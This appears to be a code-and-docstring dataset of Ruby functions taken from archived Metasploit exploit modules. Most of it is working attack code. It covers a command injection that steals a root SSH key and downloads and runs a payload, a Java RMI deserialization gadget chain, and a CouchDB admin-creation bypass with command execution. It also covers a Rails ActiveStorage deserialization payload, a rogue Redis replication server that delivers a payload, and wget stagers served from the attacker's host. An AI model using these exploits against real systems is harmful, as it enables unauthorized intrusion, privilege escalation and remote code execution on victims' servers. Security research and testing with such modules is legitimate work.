def primer # Gets the autogenerated uri payload_uri = get_uri root_ssh_key_private = rand_text_alpha_lower(8) binary_payload = rand_text_alpha_lower(8) print_status("Privilege escalate to root and execute payload") privesc_exec_cmd = "xjxfun=get_request_key&xjxr=1457064346182&xjxargs[]=Stoken; sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d \"'\" > /tmp/#{root_ssh_key_private}; chmod 600 /tmp/#{root_ssh_key_private}; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/#{root_ssh_key_private} root@localhost '/usr/bin/curl -k #{payload_uri} -o /tmp/#{binary_payload}; chmod 755 /tmp/#{binary_payload}; /tmp/#{binary_payload}'" cmd_inject(privesc_exec_cmd) register_file_for_cleanup("/tmp/#{root_ssh_key_private}") register_file_for_cleanup("/tmp/#{binary_payload}") vprint_status('Finished primer hook, raising Timeout::Error manually') raise(Timeout::Error) end
Deliver payload to appliance and make it run it
primer
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/40108.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/40108.rb
MIT
def on_request_uri(cli, request) vprint_status("on_request_uri called: #{request.inspect}") print_status('Sending the payload to the server...') @elf_sent = true send_response(cli, @pl) end
Handle incoming requests from the server
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/40108.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/40108.rb
MIT
def exec_command(cmd) vprint_status("#{peer} - Downloading the file #{cmd}") # Do the exploit command bit data1 = "\x4a\x52\x4d\x49\x00\x02\x4b" data2 = "\x00\x09\x31\x32\x37\x2E\x30\x2E\x31\x2E\x31\x00\x00\x00\x00\x50\xAC\xED\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4D\xC9\xD4\xE6\x3B\xDF\x74\x00\x05\x70\x77\x6E\x65\x64\x73\x7D\x00\x00\x00\x01\x00\x0F\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x52\x65\x6D\x6F\x74\x65\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x70\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7E\x00\x00\x73\x71\x00\x7E\x00\x05\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x70\x78\x71\x00\x7E\x00\x02\x73\x71\x00\x7E\x00\x05\x73\x72\x00\x2A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x70\x78\x70\x76\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x24\x73\x71\x00\x7E\x00\x1C\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x21\x73\x71\x00\x7E\x00\x1C\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00" data2 += cmd.length.chr data2 += cmd data2 += "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x73\x71\x00\x7E\x00\x17\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7E\x00\x3F\x78\x71\x00\x7E\x00\x3F" begin connect sock.put(data1) # Wait for a successful response data = recv_protocol_ack # rescue nil unless data fail_with(Failure::Unknown, "This system has not responded with the correct RMI header") end # Send the RMI payload sock.put(data2) # Disconnect disconnect rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host") end end
This is the execute function that is re-used throughout
exec_command
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/40610.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/40610.rb
MIT
def wget_payload resource_uri = '/' + @dropped_elf if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri vprint_status("#{peer} - Starting up our web service on #{service_url} ...") start_service( 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) exec_command("wget -P #{datastore['WRITABLEDIR']} #{service_url}") Rex.sleep(15) end
Wget the file onto the host in the temp directory
wget_payload
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/40610.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/40610.rb
MIT
def on_request_uri(cli, _request) vprint_status("#{peer} - Sending the payload to the server...") send_response(cli, generate_payload_exe) end
Handle incoming requests from the server
on_request_uri
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/40610.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/40610.rb
MIT
def exploit print_status("#{peer} - Exploting the vulnerable service...") @payload_url = '' @dropped_elf = rand_text_alpha(rand(5) + 3) wget_payload chmod_payload exec_payload end
Create the payload and run the commands in succcession
exploit
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/40610.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/40610.rb
MIT
def check res = send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'version') }) clp_version = res.body.split("\<\/serialNumber\>\<version\>") clp_version = clp_version[1] clp_version = clp_version.split("\<") clp_version = clp_version[0] if res and clp_version != "1.3.7.1" print_status("#{peer} - ERROR - BlueCoat version #{clp_version}, but must be 1.3.7.1") fail_with(Failure::NotVulnerable, "BlueCoat version #{clp_version}, but must be 1.3.7.1") end return Exploit::CheckCode::Vulnerable end
Check BlueCoat CAS version - unauthenticated via GET /avenger/rest/version
check
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/41785.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/41785.rb
MIT
def check unless respond_to?(target[:check], true) fail_with(Failure::NoTarget, "Invalid target specified") end send(target[:check]) end
definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
check
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/42010.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/42010.rb
MIT
def check_x64 head = [ 0x26c ].pack("N") head << [ 0x700 ].pack("N") head << [ 0x700 ].pack("N") head << "\x00" * 68 body = "PingE4.6 .0.0.27" body << rand_text_alpha(3000) request = head + body connect print_status("Sending trigger") sock.put(request) res = sock.timed_read(1024, 1) if res.match? "Pong4$" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Unknown end end
server should crash after parsing the packet, partial output is returned
check_x64
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/42010.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/42010.rb
MIT
def check_x86 head = [ 0x26c ].pack("N") head << [ 0x700 ].pack("N") head << [ 0x700 ].pack("N") head << "\x00" * 68 body = rand_text_alpha(3000) request = head + body connect print_status("Sending trigger") sock.put(request) begin sock.timed_read(1024, 1) return Exploit::CheckCode::Unknown rescue ::Exception return Exploit::CheckCode::Appears end end
server should crash while parsing the packet, with no output
check_x86
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/42010.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/42010.rb
MIT
def send_request_cgi(opts={}, timeout = 20) begin c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) c.connect r = c.request_cgi(opts) c.send_recv(r, timeout) rescue ::Errno::EPIPE, ::Timeout::Error nil end end
Connects to the server, creates a request, sends the request, reads the response Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
send_request_cgi
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/44642.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/44642.rb
MIT
def auth_bypass username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) @auth = basic_auth(username, password) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"), 'method' => 'PUT', 'ctype' => 'application/json', 'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}) ) if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok'] return true else return false end end
CVE-2017-12635 The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user.
auth_bypass
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/45019.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/45019.rb
MIT
def payload1 rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" register_file_for_cleanup(rand_file) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"language":"#{rand_cmd1}","map":""}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"language":"#{rand_cmd2}","map":""}) ) end
Exploit with multi requests payload1 is for the version of couchdb below 1.7.0
payload1
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/45019.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/45019.rb
MIT
def payload2 rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_tmp = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" register_file_for_cleanup(rand_file) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_membership"), 'method' => 'GET', 'authorization' => @auth ) node = res.get_json_document['all_nodes'][0] send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}) ) end
payload2 is for the version of couchdb below 2.1.1
payload2
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/45019.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/45019.rb
MIT
def privesc print_status 'Retrieving admin user details ...' admin = account.first if admin.blank? || admin['_id'].blank? || admin['name'].blank? || admin['new_password'].blank? fail_with Failure::UnexpectedReply, 'Failed to retrieve admin user details' end @id = admin['_id'] @pw = Rex::Text.decode_base64 admin['new_password'] print_good "Found admin password used during install: #{@pw}" login admin['name'], @pw end
Login to the 'admin' privileged user account
privesc
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/45043.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/45043.rb
MIT
def change_passwd(id, old, new) vars_post = { _id: id, old_password: Rex::Text.encode_base64(old), new_password: Rex::Text.encode_base64(new), } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'), 'query' => 'change_passwd', 'cookie' => @cookie, 'ctype' => 'application/json', 'data' => vars_post.to_json }, 5) end
Change password to +new+ for user with ID +id+
change_passwd
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/45043.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/45043.rb
MIT
def get_rails_root_info res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)), }) fail_with(Failure::Unknown, 'No response from the server') unless res html = res.get_html_document rails_root_node = html.at('//code[contains(text(), "Rails.root:")]') fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data) root_info_value end
Returns information about Rails.root if we retrieve an invalid path under rails.
get_rails_root_info
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/46785.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/46785.rb
MIT
def get_application_name root_info = get_rails_root_info root_info.split('/').last.capitalize end
Returns the application name based on Rails.root. It seems in development mode, the application name is used as a secret_key_base to encrypt/decrypt data.
get_application_name
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/46785.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/46785.rb
MIT
def get_stager_code b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin" bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin" register_file_for_cleanup(b64_fname, bin_fname) p = Rex::Text.encode_base64(generate_payload_exe) c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; " c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); " c << "%x(chmod +x #{bin_fname}); " c << "%x(#{bin_fname})" c end
Returns the stager code that writes the payload to disk so we can execute it.
get_stager_code
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/46785.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/46785.rb
MIT
def generate_rails_payload(app_name, ruby_payload) secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application") keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)) secret = keygen.generate_key('ActiveStorage') verifier = MessageVerifier.new(secret) erb = ERB.allocate erb.instance_variable_set :@src, ruby_payload erb.instance_variable_set :@filename, "1" erb.instance_variable_set :@lineno, 1 dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result) verifier.generate(dump_target, purpose: :blob_key) end
Returns the serialized payload that is embedded with our malicious payload.
generate_rails_payload
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/46785.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/46785.rb
MIT
def send_serialized_payload(rails_payload) res = send_request_cgi({ 'method' => 'GET', 'uri' => "/rails/active_storage/disk/#{rails_payload}/test", }) if res && res.code != 200 print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.") print_error('The expected response should be HTTP 200.') # This indicates the server did not accept the payload return false end # This is used to indicate the server accepted the payload true end
Sending the serialized payload If the payload fails, the server should return 404. If successful, then 200.
send_serialized_payload
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/46785.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/46785.rb
MIT
def start_rogue_server socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport}) print_status("Listening on #{srvhost}:#{srvport}") rsock = socket.accept() vprint_status('Accepted a connection') # Start negotiation while true request = rsock.read(1024) vprint_status("in<<< #{request.inspect}") response = "" finish = false case when request.include?('PING') response = "+PONG\r\n" when request.include?('REPLCONF') response = "+OK\r\n" when request.include?('PSYNC') || request.include?('SYNC') response = "+FULLRESYNC #{'Z'*40} 1\r\n" response << "$#{payload_bin.length}\r\n" response << "#{payload_bin}\r\n" finish = true end if response.length < 200 vprint_status("out>>> #{response.inspect}") else vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}") end rsock.put(response) if finish print_status('Rogue server close...') rsock.close() socket.close() break end end end
We pretend to be a real redis server, and then slave the victim.
start_rogue_server
ruby
hahwul/mad-metasploit
archive/exploits/linux/remote/47195.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/linux/remote/47195.rb
MIT